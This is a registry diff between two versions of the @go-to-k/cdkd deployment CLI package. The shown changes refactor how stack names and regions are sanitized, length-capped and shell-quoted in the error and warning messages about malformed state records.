@go-to-k/cdkd 0.290.38 → 0.290.39
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/dist/{asg-provider-B70ujDSS.js → asg-provider-CH4oHOxq.js} +3 -3
- package/dist/{asg-provider-B70ujDSS.js.map → asg-provider-CH4oHOxq.js.map} +1 -1
- package/dist/cli.js +2 -2
- package/dist/{deploy-engine-BdYBI1uT.js → deploy-engine-Vze2lc-H.js} +369 -66
- package/dist/{deploy-engine-BdYBI1uT.js.map → deploy-engine-Vze2lc-H.js.map} +1 -1
- package/dist/index.js +2 -2
- package/dist/{logger-BX4pJk0T.js → logger-BkcLg0jL.js} +11 -3
- package/dist/logger-BkcLg0jL.js.map +1 -0
- package/dist/{program-Br4uc31m.js → program-BC_cHG7r.js} +224 -49
- package/dist/{program-Br4uc31m.js.map → program-BC_cHG7r.js.map} +1 -1
- package/dist/{version-BeHfM5ow.js → version-DzcgAjCn.js} +2 -2
- package/dist/{version-BeHfM5ow.js.map → version-DzcgAjCn.js.map} +1 -1
- package/package.json +1 -1
- package/dist/logger-BX4pJk0T.js.map +0 -1
|
@@ -1,6 +1,6 @@
|
|
|
1
|
-
import { C as displayAwsMessage, D as truncateCodePoints, E as isPasteableIdent, S as UNRENDERABLE, T as displaySafe, d as applyDefaultNameForFallback, f as explicitNamePropertyFor, g as looksLikeCdkdGeneratedName, h as getCurrentStackName, m as generateResourceNameWithFallback, n as getLogger, p as generateResourceName, r as isStdoutReservedForPayload, s as getLiveRenderer, v as withStackName, w as displayIdent, x as STACK_REF_MAX_CODE_POINTS, y as withoutGeneratedFallbackName } from "./logger-
|
|
1
|
+
import { C as displayAwsMessage, D as truncateCodePoints, E as isPasteableIdent, S as UNRENDERABLE, T as displaySafe, d as applyDefaultNameForFallback, f as explicitNamePropertyFor, g as looksLikeCdkdGeneratedName, h as getCurrentStackName, m as generateResourceNameWithFallback, n as getLogger, p as generateResourceName, r as isStdoutReservedForPayload, s as getLiveRenderer, v as withStackName, w as displayIdent, x as STACK_REF_MAX_CODE_POINTS, y as withoutGeneratedFallbackName } from "./logger-BkcLg0jL.js";
|
|
2
2
|
import { a as setAssumedRoleCredentials, i as getPreAssumeEnvCredentials, n as awsClientDefaults, o as setPreAssumeEnvCredentials, r as getAssumedRoleCredentials, t as SECOND_ROLE_PUBLISH_REFUSAL } from "./aws-client-defaults-BoIxyCir.js";
|
|
3
|
-
import { t as getCdkdVersion } from "./version-
|
|
3
|
+
import { t as getCdkdVersion } from "./version-DzcgAjCn.js";
|
|
4
4
|
import { AsyncLocalStorage } from "node:async_hooks";
|
|
5
5
|
import { createHash, randomUUID } from "node:crypto";
|
|
6
6
|
import { CreateBucketCommand, DeleteObjectCommand, DeleteObjectsCommand, GetBucketLocationCommand, GetBucketReplicationCommand, GetObjectCommand, HeadBucketCommand, HeadObjectCommand, ListObjectVersionsCommand, ListObjectsV2Command, NoSuchKey, PutBucketEncryptionCommand, PutBucketPolicyCommand, PutObjectCommand, PutPublicAccessBlockCommand, S3Client, S3ServiceException } from "@aws-sdk/client-s3";
|
|
@@ -21073,10 +21073,12 @@ function findUnrecognizedProperties(resourceType, templateProperties) {
|
|
|
21073
21073
|
//#endregion
|
|
21074
21074
|
//#region src/state/malformed-resources-bag.ts
|
|
21075
21075
|
/**
|
|
21076
|
-
* The
|
|
21077
|
-
*
|
|
21076
|
+
* The row name a READ-ONLY command reports for a record whose whole `resources`
|
|
21077
|
+
* map is unreadable — `cdkd drift` as a `notCompared` outcome and `cdkd diff`
|
|
21078
|
+
* as an unreadable row. Parenthesised so it cannot be mistaken for a logical
|
|
21079
|
+
* id, which CloudFormation keeps alphanumeric.
|
|
21078
21080
|
*/
|
|
21079
|
-
const
|
|
21081
|
+
const UNREADABLE_RESOURCES_MAP_ROW = "(resources map)";
|
|
21080
21082
|
/** The error code every malformed-record refusal carries, whatever its class. */
|
|
21081
21083
|
const STATE_RESOURCES_MALFORMED = "STATE_RESOURCES_MALFORMED";
|
|
21082
21084
|
/**
|
|
@@ -21114,6 +21116,17 @@ function hasReadableOutputs(state) {
|
|
|
21114
21116
|
return state.outputs === void 0 || isReadableBag(state.outputs);
|
|
21115
21117
|
}
|
|
21116
21118
|
/**
|
|
21119
|
+
* The cap for a value whose grammar is SHORT — an AWS region, or the name of a
|
|
21120
|
+
* state container. Unchanged from the literal this module used for every
|
|
21121
|
+
* identifier before go-to-k/cdkd#3018 made the cap a parameter, so no message
|
|
21122
|
+
* carrying either moves.
|
|
21123
|
+
*
|
|
21124
|
+
* A logical id does NOT share it: CloudFormation allows 255 characters there
|
|
21125
|
+
* (`IDENT_MAX_CODE_POINTS`), and a legitimate 129-to-255-character CDK id cut at
|
|
21126
|
+
* 128 renders as a name the record does not hold.
|
|
21127
|
+
*/
|
|
21128
|
+
const SHORT_NAME_MAX_CODE_POINTS = 128;
|
|
21129
|
+
/**
|
|
21117
21130
|
* The shared explanation, in the terms the reader needs: what is wrong, what
|
|
21118
21131
|
* to look at, and what NOT to do next.
|
|
21119
21132
|
*
|
|
@@ -21147,28 +21160,102 @@ function hasReadableOutputs(state) {
|
|
|
21147
21160
|
* stays private. The pair here is not duplicated: what differs is the
|
|
21148
21161
|
* `shellQuote` composition every message in THIS module needs and that one
|
|
21149
21162
|
* must not have.
|
|
21150
|
-
|
|
21151
|
-
|
|
21163
|
+
*
|
|
21164
|
+
* The helper itself carries no `buildForceUnlockCommand`-style exactness gate,
|
|
21165
|
+
* which SUPPRESSES a whole command when sanitizing changed the value. The
|
|
21166
|
+
* difference is what the command DOES: `cdkd force-unlock` deletes another
|
|
21167
|
+
* process's lock, so naming a stack that is not quite the record's is
|
|
21168
|
+
* destructive and suppressing is right. The command most texts here end on is
|
|
21169
|
+
* `cdkd state show`, which reads; emitting it with a sanitized name leads the
|
|
21170
|
+
* reader either to "no state found for ..." or to a sibling record the name
|
|
21171
|
+
* now matches, which a read shows them as healthy. Neither changes anything,
|
|
21172
|
+
* where emitting NOTHING leaves a broken record with no next step at all. A
|
|
21173
|
+
* text that points at a command which WRITES owns the gate at its own site:
|
|
21174
|
+
* {@link malformedDestroyResourcesRefusalMessage} names no target unless both
|
|
21175
|
+
* identifiers render exactly, and gives `cdkd state orphan` as a template.
|
|
21176
|
+
*/
|
|
21177
|
+
function safeIdentifier(value, maxCodePoints) {
|
|
21152
21178
|
const safe = displaySafe(value, { asciiOnly: true });
|
|
21153
21179
|
if (!safe) return UNRENDERABLE;
|
|
21154
21180
|
const { text, truncated } = truncateCodePoints(safe, maxCodePoints);
|
|
21155
21181
|
return truncated ? `${text}...` : text;
|
|
21156
21182
|
}
|
|
21157
21183
|
/**
|
|
21184
|
+
* A stack name, which a nested chain makes legitimately long.
|
|
21185
|
+
*
|
|
21186
|
+
* Safe for a command that only READS. A caller building a command that WRITES
|
|
21187
|
+
* owns an exactness gate as well — print the command only when this returns the
|
|
21188
|
+
* value unchanged, since a name sanitizing altered can resolve to a different
|
|
21189
|
+
* stack — whenever the identity can hold characters sanitizing alters: anything
|
|
21190
|
+
* not already validated, whether a user typed it or the record supplied it.
|
|
21191
|
+
* `reportDriftBaselineGaps` (`src/cli/commands/export.ts`) gates its
|
|
21192
|
+
* `refresh-observed` command for that reason: `cdkd export --template` takes
|
|
21193
|
+
* the stack name as a free-typed positional, and the record BODY is a second
|
|
21194
|
+
* source when a caller omits the loaded identity. A synthesized stack name is
|
|
21195
|
+
* not an exception by itself — a prebuilt cloud assembly's name is read
|
|
21196
|
+
* unvalidated — which is why `dropRecordCommand` gates its substitution on
|
|
21197
|
+
* {@link rendersExactly} (go-to-k/cdkd#3360, closed by go-to-k/cdkd#3363).
|
|
21198
|
+
*/
|
|
21199
|
+
function safeStackName(value) {
|
|
21200
|
+
return safeIdentifier(value, STACK_REF_MAX_CODE_POINTS);
|
|
21201
|
+
}
|
|
21202
|
+
/** An AWS region. */
|
|
21203
|
+
function safeRegion(value) {
|
|
21204
|
+
return safeIdentifier(value, SHORT_NAME_MAX_CODE_POINTS);
|
|
21205
|
+
}
|
|
21206
|
+
/**
|
|
21207
|
+
* A CloudFormation logical id, as it appears in a LIST of ids — which is the
|
|
21208
|
+
* only way this module and its callers print one.
|
|
21209
|
+
*
|
|
21210
|
+
* NOT {@link safeIdentifier}, although it is the obvious third sibling, and it
|
|
21211
|
+
* used to be exactly that. `displaySafe` TRIMS, so a sanitize-then-quote pair
|
|
21212
|
+
* renders a torn `resources["Bucket "]` byte-identically to a healthy sibling
|
|
21213
|
+
* `Bucket`, and the message sends the reader to the intact record while the
|
|
21214
|
+
* damaged one goes unnamed. `displayIdent` compares the sanitized text with the
|
|
21215
|
+
* raw one and JSON-quotes whenever they differ, so a padded or rewritten id can
|
|
21216
|
+
* never render bare. Past that, what it shows is judged on the text it KEEPS:
|
|
21217
|
+
* a kept part holding a character outside the plain-identifier set (`'`, a
|
|
21218
|
+
* space) is wrapped in double quotes with an embedded `"` escaped, so text an
|
|
21219
|
+
* id plants on a line that ends in a pasteable command stays visibly inside one
|
|
21220
|
+
* quoted token. A cut id is followed by `[cut: N more characters withheld]`,
|
|
21221
|
+
* which cannot be read as part of it — so a plain 255-character prefix renders
|
|
21222
|
+
* bare with that marker even when the withheld tail held a `'`, and nothing of
|
|
21223
|
+
* the tail is shown. An id with nothing renderable left is the bare
|
|
21224
|
+
* `<unrenderable>` stand-in. A
|
|
21225
|
+
* bare `,` inside a plain id still reads as two entries in a `', '`-joined list
|
|
21226
|
+
* — the residual go-to-k/cdkd#3179 records for every caller of the helper. That
|
|
21227
|
+
* is the answer go-to-k/cdkd#3317 recorded for
|
|
21228
|
+
* `namedPropertyBagsClause`; this is the same rule for the other lists, so two
|
|
21229
|
+
* sibling clauses in one module cannot give opposite answers.
|
|
21230
|
+
*
|
|
21231
|
+
* Capped at `IDENT_MAX_CODE_POINTS`, a logical id's own limit, rather than a
|
|
21232
|
+
* region-sized cut that would name no record.
|
|
21233
|
+
*/
|
|
21234
|
+
function displayLogicalId(value) {
|
|
21235
|
+
return displayIdent(value, { maxCodePoints: 255 });
|
|
21236
|
+
}
|
|
21237
|
+
/**
|
|
21158
21238
|
* The DIAGNOSIS sentence itself, with no identity and no remedy in it.
|
|
21159
21239
|
*
|
|
21160
|
-
* ONE spelling,
|
|
21161
|
-
* at all: two copies of a diagnosis are what drift. It is extracted because
|
|
21240
|
+
* ONE spelling, because two copies of a diagnosis are what drift. It is extracted because
|
|
21162
21241
|
* {@link malformedDestroyResourcesRefusalMessage} needs the same sentence
|
|
21163
21242
|
* under an identity it does NOT trust, where the detail's substituted
|
|
21164
21243
|
* `cdkd state show` command must not appear — a difference in the COMMAND, not
|
|
21165
21244
|
* in the diagnosis.
|
|
21166
21245
|
*/
|
|
21167
21246
|
const MALFORMED_RESOURCES_DIAGNOSIS = "has no readable 'resources' map — the record is malformed or truncated. Both 'cdkd deploy' and 'cdkd destroy' REFUSE such a record rather than acting on it: they read the same map, an unreadable one is indistinguishable from an empty stack, and acting on that reading would make a deploy re-CREATE every resource and a destroy delete none of them.";
|
|
21168
|
-
|
|
21169
|
-
|
|
21170
|
-
|
|
21171
|
-
|
|
21247
|
+
/**
|
|
21248
|
+
* `region` is optional for ONE caller's sake: `cdkd export`'s baseline report,
|
|
21249
|
+
* whose loaded region is absent when the record it loaded is a legacy
|
|
21250
|
+
* region-less one and no synth region was available to stand in for it. A placeholder there would put a `--stack-region` into a
|
|
21251
|
+
* command the reader pastes that selects no record at all — so an absent
|
|
21252
|
+
* region drops the clause and the flag rather than inventing one.
|
|
21253
|
+
*/
|
|
21254
|
+
function malformedStateDetail(stackName, region) {
|
|
21255
|
+
const stack = safeStackName(stackName);
|
|
21256
|
+
const where = region === void 0 ? "" : ` (${shellQuote(safeRegion(region))})`;
|
|
21257
|
+
const regionFlag = region === void 0 ? "" : ` --stack-region ${shellQuote(safeRegion(region))}`;
|
|
21258
|
+
return `State for ${shellQuote(stack)}${where} ${MALFORMED_RESOURCES_DIAGNOSIS} Inspect it with: cdkd state show ${shellQuote(stack)}${regionFlag} --json`;
|
|
21172
21259
|
}
|
|
21173
21260
|
/**
|
|
21174
21261
|
* For a READ-ONLY command: give the record an empty resource bag so the
|
|
@@ -21333,23 +21420,23 @@ function malformedStateRefusalMessage(stackName, region) {
|
|
|
21333
21420
|
* because a LEGACY record has no key region at all, in which case the value
|
|
21334
21421
|
* printed is the CLI's own and `--stack-region` must be omitted.
|
|
21335
21422
|
*
|
|
21336
|
-
* **The
|
|
21337
|
-
*
|
|
21338
|
-
*
|
|
21339
|
-
* CDK nested child
|
|
21340
|
-
* past 150 code
|
|
21341
|
-
*
|
|
21342
|
-
*
|
|
21343
|
-
*
|
|
21344
|
-
*
|
|
21423
|
+
* **The VERDICT turns on the identifier caps**, which is why the stack name is
|
|
21424
|
+
* measured through {@link safeStackName} (`STACK_REF_MAX_CODE_POINTS`) and the
|
|
21425
|
+
* region through {@link safeRegion} (128, which no real region approaches). At
|
|
21426
|
+
* 128 an ordinary multi-level CDK nested child
|
|
21427
|
+
* (`<root>~<...NestedStackResource><hash>~<...>`, measured past 150 code
|
|
21428
|
+
* points) truncates, fails `exact`, and takes the withhold arm on a HEALTHY
|
|
21429
|
+
* record — which is fail-safe but makes the fallback the common path for
|
|
21430
|
+
* exactly the nested destroys this lane added a guard to (review round 2 of
|
|
21431
|
+
* go-to-k/cdkd#3332). The bound is still a bound: a planted multi-kilobyte name
|
|
21432
|
+
* is truncated at 1152 and lands in the withhold arm.
|
|
21345
21433
|
*
|
|
21346
21434
|
* Identifiers are sanitized and THEN shell-quoted, for the reasons
|
|
21347
21435
|
* {@link safeIdentifier}'s note gives.
|
|
21348
21436
|
*/
|
|
21349
21437
|
function malformedDestroyResourcesRefusalMessage(stackName, region) {
|
|
21350
|
-
const
|
|
21351
|
-
|
|
21352
|
-
return `${exact ? malformedStateDetail(stackName, region, cap) : `${stackClause(void 0, void 0)} ${MALFORMED_RESOURCES_DIAGNOSIS}`} This command DELETES state, so it refuses rather than continuing: the resource map IS the list of what to delete, so an unreadable one counts as ZERO resources and the run takes the empty-stack fast path, which removes state.json and reports success while every resource the record named is still live in AWS and no longer referenced by anything. Reading the bag as EMPTY is that same outcome rather than an alternative to it, so there is no repair available here. Repair or remove the record first. ${exact ? "To drop the record deliberately and leave the live resources standing, run 'cdkd state orphan' against the stack and the region THE RECORD'S S3 KEY holds — spelled out rather than pasteable, because that command DELETES a record and the region printed above is the one cdkd was pointed at, not a value cdkd owns. Confirm the key with 'cdkd state list --long' — a legacy record shows none, and for one of those the flag must be OMITTED or it selects nothing — then: cdkd state orphan <stack> --stack-region <region>" : `This record's stack name or region does NOT render exactly — what is printed above is a sanitized form, and another record may render identically — so this message names no target and offers no command against one. List the records as stored with 'cdkd state list --long', which prints a name needing sanitizing in quoted form, and act on the one whose key matches. Inspect it with: ${inspectCommand(void 0, void 0)}`}`;
|
|
21438
|
+
const exact = safeStackName(stackName) === stackName && safeRegion(region) === region;
|
|
21439
|
+
return `${exact ? malformedStateDetail(stackName, region) : `${stackClause(void 0, void 0)} ${MALFORMED_RESOURCES_DIAGNOSIS}`} This command DELETES state, so it refuses rather than continuing: the resource map IS the list of what to delete, so an unreadable one counts as ZERO resources and the run takes the empty-stack fast path, which removes state.json and reports success while every resource the record named is still live in AWS and no longer referenced by anything. Reading the bag as EMPTY is that same outcome rather than an alternative to it, so there is no repair available here. Repair or remove the record first. ${exact ? "To drop the record deliberately and leave the live resources standing, run 'cdkd state orphan' against the stack and the region THE RECORD'S S3 KEY holds — spelled out rather than pasteable, because that command DELETES a record and the region printed above is the one cdkd was pointed at, not a value cdkd owns. Confirm the key with 'cdkd state list --long' — a legacy record shows none, and for one of those the flag must be OMITTED or it selects nothing — then: cdkd state orphan <stack> --stack-region <region>" : `This record's stack name or region does NOT render exactly — what is printed above is a sanitized form, and another record may render identically — so this message names no target and offers no command against one. List the records as stored with 'cdkd state list --long', which prints a name needing sanitizing in quoted form, and act on the one whose key matches. Inspect it with: ${inspectCommand(void 0, void 0)}`}`;
|
|
21353
21440
|
}
|
|
21354
21441
|
/**
|
|
21355
21442
|
* For `cdkd destroy` / `cdkd state destroy`: refuse a record whose `resources`
|
|
@@ -21567,9 +21654,9 @@ function refuseMalformedResourcesForDeploy(state, stackName, region) {
|
|
|
21567
21654
|
* English (review of go-to-k/cdkd#3190).
|
|
21568
21655
|
*/
|
|
21569
21656
|
function malformedRenderedContainersWarning(stackName, region, containers) {
|
|
21570
|
-
const stack =
|
|
21571
|
-
const reg =
|
|
21572
|
-
const names = containers.map((name) => `'${safeIdentifier(name)}'`).join(", ");
|
|
21657
|
+
const stack = safeStackName(stackName);
|
|
21658
|
+
const reg = safeRegion(region);
|
|
21659
|
+
const names = containers.map((name) => `'${safeIdentifier(name, SHORT_NAME_MAX_CODE_POINTS)}'`).join(", ");
|
|
21573
21660
|
return `State for ${shellQuote(stack)} (${shellQuote(reg)}) has a non-object ${names} — the record is malformed or truncated. 'Object.entries' walks a string or a list as readily as a map, so rendering one INVENTS a row per character or element. Continuing with it EMPTY: this view shows no rows there, which is not the same as the record holding none. A per-resource container is named once however many resources hold one. See the stored values with: cdkd state show ${shellQuote(stack)} --stack-region ${shellQuote(reg)} --json`;
|
|
21574
21661
|
}
|
|
21575
21662
|
/** The warning a caller of {@link repairMalformedResourcesForReadOnly} emits. */
|
|
@@ -21650,8 +21737,8 @@ function repairMalformedOutputsForReadOnly(state) {
|
|
|
21650
21737
|
* LAST and UNWRAPPED, for the reasons {@link safeIdentifier}'s note gives.
|
|
21651
21738
|
*/
|
|
21652
21739
|
function malformedOutputsWarning(stackName, region) {
|
|
21653
|
-
const stack =
|
|
21654
|
-
const reg =
|
|
21740
|
+
const stack = safeStackName(stackName);
|
|
21741
|
+
const reg = safeRegion(region);
|
|
21655
21742
|
return `State for ${shellQuote(stack)} (${shellQuote(reg)}) has no readable 'outputs' map — the record is malformed or truncated. Where the stored value is a string or a list, 'Object.entries' walks it as readily as a map, so diffing it INVENTS a REMOVE row per character or element carrying the record's own characters; where it is a number, a boolean or null, it yields no comparison at all. Continuing with it EMPTY: every output this diff resolves is reported as an ADD and no stored key is reported as a REMOVE, which is not the same as the record holding none. See the stored value with: cdkd state show ${shellQuote(stack)} --stack-region ${shellQuote(reg)} --json`;
|
|
21656
21743
|
}
|
|
21657
21744
|
/**
|
|
@@ -21697,8 +21784,8 @@ function refuseMalformedState(state, stackName, region) {
|
|
|
21697
21784
|
* LAST and UNWRAPPED, for the reasons {@link safeIdentifier}'s note gives.
|
|
21698
21785
|
*/
|
|
21699
21786
|
function malformedOutputsRefusalMessage(stackName, region) {
|
|
21700
|
-
const stack =
|
|
21701
|
-
const reg =
|
|
21787
|
+
const stack = safeStackName(stackName);
|
|
21788
|
+
const reg = safeRegion(region);
|
|
21702
21789
|
return `State for ${shellQuote(stack)} (${shellQuote(reg)}) has no readable 'outputs' map — the record is malformed or truncated. This command can WRITE state, so it refuses rather than continuing: it REBUILDS the bag before saving, and 'Object.entries' walks a string or a list as readily as a map, so a six-character value would be saved back as a well-formed six-key map (a null one as an empty map). That replaces the only signal anything is wrong with a legitimate-looking record, permanently — and the next deploy republishes it into the shared exports index every other stack's Fn::ImportValue resolves against. Repair or remove the record first. Inspect it with: cdkd state show ${shellQuote(stack)} --stack-region ${shellQuote(reg)} --json`;
|
|
21703
21790
|
}
|
|
21704
21791
|
/**
|
|
@@ -21723,8 +21810,8 @@ function malformedOutputsRefusalMessage(stackName, region) {
|
|
|
21723
21810
|
* LAST and UNWRAPPED, for the reasons {@link safeIdentifier}'s note gives.
|
|
21724
21811
|
*/
|
|
21725
21812
|
function malformedExportSourceWarning(stackName, region) {
|
|
21726
|
-
const stack =
|
|
21727
|
-
const reg =
|
|
21813
|
+
const stack = safeStackName(stackName);
|
|
21814
|
+
const reg = safeRegion(region);
|
|
21728
21815
|
return `State for ${shellQuote(stack)} (${shellQuote(reg)}) has no readable 'outputs' map or 'exportNames' list — the record is malformed or truncated. It contributes NO exports to this region's index, which is not the same as the stack exporting none: an Fn::ImportValue of a name this stack really publishes will fail in the CONSUMER stack, naming that stack rather than this record. Continuing with the other producers — enumerating a string or a list here would instead publish one FABRICATED export per character or element. See the stored values with: cdkd state show ${shellQuote(stack)} --stack-region ${shellQuote(reg)} --json`;
|
|
21729
21816
|
}
|
|
21730
21817
|
/**
|
|
@@ -21752,8 +21839,8 @@ function malformedExportSourceWarning(stackName, region) {
|
|
|
21752
21839
|
* LAST and UNWRAPPED, for the reasons {@link safeIdentifier}'s note gives.
|
|
21753
21840
|
*/
|
|
21754
21841
|
function malformedExportNamesWarning(stackName, region) {
|
|
21755
|
-
const stack =
|
|
21756
|
-
const reg =
|
|
21842
|
+
const stack = safeStackName(stackName);
|
|
21843
|
+
const reg = safeRegion(region);
|
|
21757
21844
|
return `State for ${shellQuote(stack)} (${shellQuote(reg)}) has an unusable 'exportNames' list — the record is malformed or truncated. It is read as an EMPTY export set, which is not the same as the record holding one: no stored key is reported as an export, so a row that should carry an '[export]' tag renders without it. Reading it as UNKNOWN instead would be worse — that falls back to the pre-v9 rule where every output name is importable. See the stored value with: cdkd state show ${shellQuote(stack)} --stack-region ${shellQuote(reg)} --json`;
|
|
21758
21845
|
}
|
|
21759
21846
|
/**
|
|
@@ -21813,8 +21900,8 @@ function refuseMalformedOutputs(state, stackName, region) {
|
|
|
21813
21900
|
* LAST and UNWRAPPED, for the reasons {@link safeIdentifier}'s note gives.
|
|
21814
21901
|
*/
|
|
21815
21902
|
function malformedDestroyOutputsRefusalMessage(stackName, region) {
|
|
21816
|
-
const stack =
|
|
21817
|
-
const reg =
|
|
21903
|
+
const stack = safeStackName(stackName);
|
|
21904
|
+
const reg = safeRegion(region);
|
|
21818
21905
|
return `State for ${shellQuote(stack)} (${shellQuote(reg)}) has no readable 'outputs' map — the record is malformed or truncated. This command DELETES state, so it refuses rather than continuing: it reads this bag to decide whether the stack might export anything, and that decision gates the cross-stack check that refuses to delete a producer another stack still imports from. A string or a list invents one export name per character or element; a null, a number or a boolean reads as 'exports nothing' and SKIPS the check entirely, deleting the record while consumers still resolve against it. Repair or remove the record first. Inspect it with: cdkd state show ${shellQuote(stack)} --stack-region ${shellQuote(reg)} --json`;
|
|
21819
21906
|
}
|
|
21820
21907
|
/**
|
|
@@ -21855,8 +21942,8 @@ function refuseMalformedOutputsForDestroy(state, stackName, region) {
|
|
|
21855
21942
|
* LAST and UNWRAPPED, for the reasons {@link safeIdentifier}'s note gives.
|
|
21856
21943
|
*/
|
|
21857
21944
|
function malformedNestedChildOutputsRefusalMessage(childStackName, region) {
|
|
21858
|
-
const stack =
|
|
21859
|
-
const reg =
|
|
21945
|
+
const stack = safeStackName(childStackName);
|
|
21946
|
+
const reg = safeRegion(region);
|
|
21860
21947
|
return `State for nested stack child ${shellQuote(stack)} (${shellQuote(reg)}) has no readable 'outputs' map — the record is malformed or truncated. The parent's 'Outputs.<Key>' attributes are REBUILT from this bag and persisted into the PARENT's record, and 'Object.entries' walks a string or a list as readily as a map — so a six-character value would become six fabricated parent attributes that every Fn::GetAtt against this nested stack then resolves into live AWS calls. The deploy refuses rather than fabricating them. Repair or remove the child's record first. Inspect it with: cdkd state show ${shellQuote(stack)} --stack-region ${shellQuote(reg)} --json`;
|
|
21861
21948
|
}
|
|
21862
21949
|
/**
|
|
@@ -21906,8 +21993,8 @@ function refuseMalformedNestedChildOutputs(state, childStackName, region) {
|
|
|
21906
21993
|
* LAST and UNWRAPPED, for the reasons {@link safeIdentifier}'s note gives.
|
|
21907
21994
|
*/
|
|
21908
21995
|
function malformedLocalOutputsWarning(stackName, region) {
|
|
21909
|
-
const stack =
|
|
21910
|
-
const reg =
|
|
21996
|
+
const stack = safeStackName(stackName);
|
|
21997
|
+
const reg = safeRegion(region);
|
|
21911
21998
|
return `State for ${shellQuote(stack)} (${shellQuote(reg)}) has no readable 'outputs' map — the record is malformed or truncated. 'Object.entries' walks a string or a list as readily as a map, so reading it would hand this local run one FABRICATED output per character or element. Continuing with it EMPTY: every reference to an output of this record resolves to nothing and is dropped, which is not the same as the record holding none. See the stored value with: cdkd state show ${shellQuote(stack)} --stack-region ${shellQuote(reg)} --json`;
|
|
21912
21999
|
}
|
|
21913
22000
|
/** How many logical ids a `properties` message names before it says "and N more". */
|
|
@@ -21942,8 +22029,8 @@ const NAMED_UNREADABLE_PROPERTY_BAGS = 5;
|
|
|
21942
22029
|
*/
|
|
21943
22030
|
function stackClause(stackName, region) {
|
|
21944
22031
|
if (stackName === void 0) return "The state record this command loaded";
|
|
21945
|
-
const where = region === void 0 ? "" : ` (${shellQuote(
|
|
21946
|
-
return `State for ${shellQuote(
|
|
22032
|
+
const where = region === void 0 ? "" : ` (${shellQuote(safeRegion(region))})`;
|
|
22033
|
+
return `State for ${shellQuote(safeStackName(stackName))}${where}`;
|
|
21947
22034
|
}
|
|
21948
22035
|
/**
|
|
21949
22036
|
* The DESTRUCTIVE remedy, built the way {@link inspectCommand} builds the
|
|
@@ -22012,8 +22099,9 @@ function dropRecordCommand(stackName, region, recovery) {
|
|
|
22012
22099
|
/**
|
|
22013
22100
|
* Whether an identity survives {@link safeIdentifier} UNCHANGED at the
|
|
22014
22101
|
* state-record grammar's cap, so a command or a key built from it addresses the
|
|
22015
|
-
* record the message is about. The cap is `STACK_REF_MAX_CODE_POINTS
|
|
22016
|
-
*
|
|
22102
|
+
* record the message is about. The cap is `STACK_REF_MAX_CODE_POINTS` — the cap
|
|
22103
|
+
* the prose also cuts a stack name at, never a region's 128 — because
|
|
22104
|
+
* `cdkd orphan` reads a PREBUILT assembly's stack name
|
|
22017
22105
|
* unvalidated, so a manifest can carry one past 128 that is nonetheless the
|
|
22018
22106
|
* record's real key, and truncating it names nothing — the same bound
|
|
22019
22107
|
* `malformedDestroyResourcesRefusalMessage` uses, reached from a different
|
|
@@ -22025,8 +22113,8 @@ function dropRecordCommand(stackName, region, recovery) {
|
|
|
22025
22113
|
* ({@link orphanInspectClause}) — so no two of them can disagree about a name
|
|
22026
22114
|
* (go-to-k/cdkd#3363 review, M0 and M2). What it does NOT cover yet: the
|
|
22027
22115
|
* destroy refusal and the divergent-region refusal above still spell the same
|
|
22028
|
-
* test inline, and the shared {@link inspectCommand} is ungated
|
|
22029
|
-
*
|
|
22116
|
+
* test inline, and the shared {@link inspectCommand} is ungated for its other
|
|
22117
|
+
* callers (it renders the stack at that same cap, the region at 128).
|
|
22030
22118
|
*/
|
|
22031
22119
|
function rendersExactly(value) {
|
|
22032
22120
|
return safeIdentifier(value, STACK_REF_MAX_CODE_POINTS) === value;
|
|
@@ -22034,8 +22122,8 @@ function rendersExactly(value) {
|
|
|
22034
22122
|
/** The remedy command {@link stackClause}'s message ends on. */
|
|
22035
22123
|
function inspectCommand(stackName, region) {
|
|
22036
22124
|
if (stackName === void 0) return `cdkd state show ${commandHole("stack")} --stack-region ${commandHole("region")} --json`;
|
|
22037
|
-
const flag = region === void 0 ? "" : ` --stack-region ${shellQuote(
|
|
22038
|
-
return `cdkd state show ${shellQuote(
|
|
22125
|
+
const flag = region === void 0 ? "" : ` --stack-region ${shellQuote(safeRegion(region))}`;
|
|
22126
|
+
return `cdkd state show ${shellQuote(safeStackName(stackName))}${flag} --json`;
|
|
22039
22127
|
}
|
|
22040
22128
|
/**
|
|
22041
22129
|
* The logical ids whose resource record carries a `properties` bag that cannot
|
|
@@ -22060,11 +22148,18 @@ function inspectCommand(stackName, region) {
|
|
|
22060
22148
|
* it is one of the two shapes that used to die on a bare `TypeError` naming no
|
|
22061
22149
|
* stack, no key and no remedy (`Cannot convert undefined or null to object`).
|
|
22062
22150
|
*
|
|
22063
|
-
* An entry that is not a readable OBJECT is SKIPPED rather than named
|
|
22064
|
-
*
|
|
22065
|
-
*
|
|
22066
|
-
*
|
|
22067
|
-
*
|
|
22151
|
+
* An entry that is not a readable OBJECT is SKIPPED rather than named: a `null`
|
|
22152
|
+
* entry has no `properties` to test, and reading one off a string entry would
|
|
22153
|
+
* name a per-character defect that is really the entry's. That makes this
|
|
22154
|
+
* verdict independent of {@link unreadableResourceEntries} for every entry
|
|
22155
|
+
* that is not an object — but NOT for an object with no `resourceType` whose
|
|
22156
|
+
* `properties` map is also unreadable, which both predicates name. A read-only caller that takes both therefore drops
|
|
22157
|
+
* entries FIRST ({@link repairMalformedResourceEntriesForReadOnly}), so the
|
|
22158
|
+
* row is reported once, as unreadable, rather than warned about as a preview
|
|
22159
|
+
* and then dropped. The object test stays here rather than
|
|
22160
|
+
* {@link isReadableResourceEntry} because the deploy path takes this
|
|
22161
|
+
* predicate WITHOUT the entry one, and narrowing it would let a typeless
|
|
22162
|
+
* object with a torn map reach the comparison unrefused. Likewise a `resources` bag that is not readable at all
|
|
22068
22163
|
* yields `[]` here rather than ids invented from a string's characters — that
|
|
22069
22164
|
* class is {@link hasReadableResources}'s to report. What a caller must not do
|
|
22070
22165
|
* is take only this one.
|
|
@@ -22164,9 +22259,8 @@ function repairMalformedResourcePropertiesForReadOnly(state) {
|
|
|
22164
22259
|
/**
|
|
22165
22260
|
* The half the refusal and the warning share: what is wrong and which records.
|
|
22166
22261
|
*
|
|
22167
|
-
* ONE spelling rather than two,
|
|
22168
|
-
*
|
|
22169
|
-
* and a second copy of the diagnosis is what drifts.
|
|
22262
|
+
* ONE spelling rather than two, because the two texts differ only in what
|
|
22263
|
+
* happens NEXT, and a second copy of the diagnosis is what drifts.
|
|
22170
22264
|
*
|
|
22171
22265
|
* The STACK and REGION go through {@link safeIdentifier} and are THEN
|
|
22172
22266
|
